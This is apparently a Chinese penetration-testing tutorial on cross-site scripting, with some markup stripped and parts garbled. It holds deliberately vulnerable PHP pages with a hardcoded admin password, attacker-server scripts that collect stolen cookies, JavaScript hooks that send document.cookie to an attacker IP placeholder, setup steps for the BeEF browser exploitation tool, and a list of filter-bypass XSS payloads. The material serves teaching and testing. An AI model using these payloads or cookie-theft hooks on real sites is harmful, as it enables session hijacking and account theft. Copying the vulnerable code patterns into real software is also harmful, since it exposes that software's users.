渗透测试-13:XSS 漏洞
漏洞原理
- XSS(Cross Site Scripting):跨站脚本攻击,为了不和层叠样式表(Cascading StyleSheets)的缩写CSS混合,所以改名为XSS
- XSS原理:攻击者在网页中嵌入客户端脚本(通常是JavaScript的恶意脚本),当用户使用浏览器加载被嵌入恶意代码的网页时,恶意脚本代码就会在用户的浏览器执行,造成跨站脚本的攻击
常见场景
- 重灾区:评论区、留言区、个人信息、订单信息等
- 针对型:站内信、网页即时通讯、私信、意见反馈
- 存在风险:搜索框、当前目录、图片属性等
发现和利用

漏洞危害

防御方式
- 对用户的输入进行合理验证,对特殊字符(如
< > ' "等)以及echo $action; if ($action == 'logout') { unset($_SESSION['name']); echo '成功退出'; header("refresh:1;url='./vul-page-reflected.php'"); } else { header("refresh:1;url='./vul-page-reflected.php'"); } } else { if (isset($_SESSION['name'])) { $name = $_SESSION['name']; echo "退出
"; echo "欢迎 $name , 尊敬的vip 请留言!"; echo "请留言:
"; echo ""; if (isset($_POST['message'])) { echo " $name 说: {$_POST['message']}"; } } else if (isset($_POST['name']) && isset($_POST['passwd'])) { $name = $_POST['name']; $passwd = $_POST['passwd']; if ($name == 'admin' && $passwd == '123456') { $_SESSION['name'] = $name; header('refresh:1;url="./vul-page-reflected.php"'); } else { echo '账户或密码错误!'; header('refresh:1;url="./vul-page-reflected.php"'); } } else { echo "登录
"; echo ""; } }模拟演示-GET型
攻击者服务器
/xss/cookie-get.php<?php $cookie = $_GET['cookie']; file_put_contents('cookie.txt',$cookie);/xss/hook-get.jsxmlhttp = new XMLHttpRequest(); xmlhttp.open( "get", "http://[攻击者服务器IP]/xss/cookie-get.php?cookie=" + document.cookie, true // 开启异步 ); xmlhttp.send();钓鱼页面
xss-get.htmlXSS-GET 点我有惊喜 点我也有惊喜模拟演示-POST型
攻击者服务器
/xss/cookie-post.php<?php $cookie = $_POST['cookie']; file_put_contents('cookie.txt',$cookie);/xss/hook-post.jsxmlhttp = new XMLHttpRequest(); xmlhttp.open( "post", "http://[攻击者服务器IP]/xss/cookie-post.php", true // 开启异步 ); xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xmlhttp.send("cookie=" + document.cookie);钓鱼页面
xss-post.htmlXSS-POST 存储型XSS
- 恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性
- 比较常见的场景是,黑客写下一篇包含有恶意JavaScript代码的博客文章,文章发表后,所有访问该博客的用户,都会在他们的浏览器中执行这段恶意js代码

漏洞服务器
vul-page-stored.php<?php if (isset($_POST['message'])) { $message = $_POST['message']; file_put_contents('message.txt', $message); } ?>Stored XSS 游客说: <?php if (file_exists('message.txt')) { echo file_get_contents('message.txt'); } else { echo "暂无评论!"; } ?>
DOM型XSS
DOM,全称 Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式
DOM-XSS简单去理解就是输出点在 DOM,属于特殊的 反射型XSS

常用的DOM方法
方法 描述 getElementById() 返回带有指定 ID 的元素。 getElementsByTagName() 返回包含带有指定标签名称的所有元素的节点列表(集合/节点数组)。 getElementsByClassName() 返回包含带有指定类名的所有元素的节点列表。 appendChild() 把新的子节点添加到指定节点。 removeChild() 删除子节点。 replaceChild() 替换子节点。 insertBefore() 在指定的子节点前面插入新的子节点。 createAttribute() 创建属性节点。 createElement() 创建元素节点。 createTextNode() 创建文本节点。 getAttribute() 返回指定的属性值。 setAttribute() 把指定属性设置或修改为指定的值。 漏洞服务器
vul-page-dom.phpDOM XSS name:XSS平台
免费邮箱:http://24mail.chacuo.net/
XSSPt平台:https://xss.pt
BeEF工具
- BeEF 全称 The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具。用 Ruby 语言开发的,用于实现对 XSS 漏洞的攻击和利用。
- BeEF 主要是往网页中插入一段名为 hook.js 的 JS 脚本代码,如果浏览器访问了有 hook.js(钩子) 的页面,就会被 hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向 BeEF 服务器发送一个请求,询问是否有新的代码需要执行
- 官网: https://beefproject.com
- wiki: https://github.com/beefproject/beef/wiki
BeEF平台功能介绍
- 信息搜集: 可以实现网络发现、主机信息获取、cookie获取、会话劫持、获取键盘记录、获取插件信息等功能
- 持久化控制:可以实现确认弹框,?窗?和中间?攻击。
- 社会?程学攻击:可以实现点击劫持、弹窗告警、虚假??和钓???等攻击
- 渗透攻击:可以实现内?渗透、CSRF跨站请求伪造攻击、DDOS攻击,还可以结合Metasploit使?
安装BeFF
- 安装:apt-get install beef-xss
- 启动:beef-xss(首次启动时需要输入新的密码)
- 管理界面: http://127.0.0.1:3000/ui/panel
- 配置文件:/usr/share/beef-xss/config.yaml
XSS变形
常见构造payload标签
script、img、video、audio、svg、body、select、testarea、iframe 等
常见构造payload函数
onclick 当鼠标点击触发
onmousemove 当鼠标移动就触发
onload 当页面加载完成后触发
onerror 当出错时触发常用payload
// 常规操作 // src属性绕过更多参考:https://github.com/payloadbox/xss-payload-list/blob/master/Intruder/xss-payload-list.txt
在线靶场
// 探测 // < 被转义 (点击事件绕过) ' onclick='alert(1) " onclick="alert(1) // script 被过滤,alert 被过滤 (换标签绕过) test // < 被转义,script 被转义 (大小写绕过) " ONclick="alert(1) "> // 编码绕过 "%3e%3cscript%3ealert(document.cookie)%3c/script%3e // script 被过滤,< > 被转义 (双写绕过:绕过on) " oonnclick="alert(1) ">ipt>alert(document.cookie) ipt>// script 被转义,< > 被转义 (伪协议绕过) ">test" // javascript 中的 i 被过滤 (HTML实体字符绕过) javascript:alert(1) <script>alert(1)</script> // script、/、空格 被替换为 (换行绕过:%00 %09 %0d %0a)
// "> // '; alert(1); var foo=' // Click herehtml javascript:alert(1);